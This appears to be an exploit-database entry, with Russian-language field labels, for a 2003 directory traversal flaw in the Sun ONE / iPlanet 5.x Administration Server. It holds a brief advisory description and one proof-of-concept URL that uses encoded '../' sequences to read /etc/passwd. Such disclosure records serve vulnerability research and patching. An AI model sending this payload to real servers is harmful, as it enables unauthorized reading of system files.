Exploit Sun One 5.1 / IPlanet 5.0/5.1 - Administration Server Directory Traversal

[Exploiter]

EDB-ID

22994

Проверка EDB

1. Пройдено

Автор

JIM HARDISTY

Тип уязвимости

REMOTE

Платформа

MULTIPLE

CVE

N/A

Дата публикации

2003-08-08

source: https://www.securityfocus.com/bid/8367/info

A problem in the checking of input by the Sun ONE Administration Server may lead to remote users escaping into restricted directories. This may allow an attacker to gain access to information that is sensitive in nature.

http://www.example.com:5000/admin-serv/tasks/configuration/ViewLog?file=passwd&num=5000&str=&directories=admin-serv%2Flogs%2f..%2f..%2f..%2f..%2f..%2f..%2fetc&id=admin-serv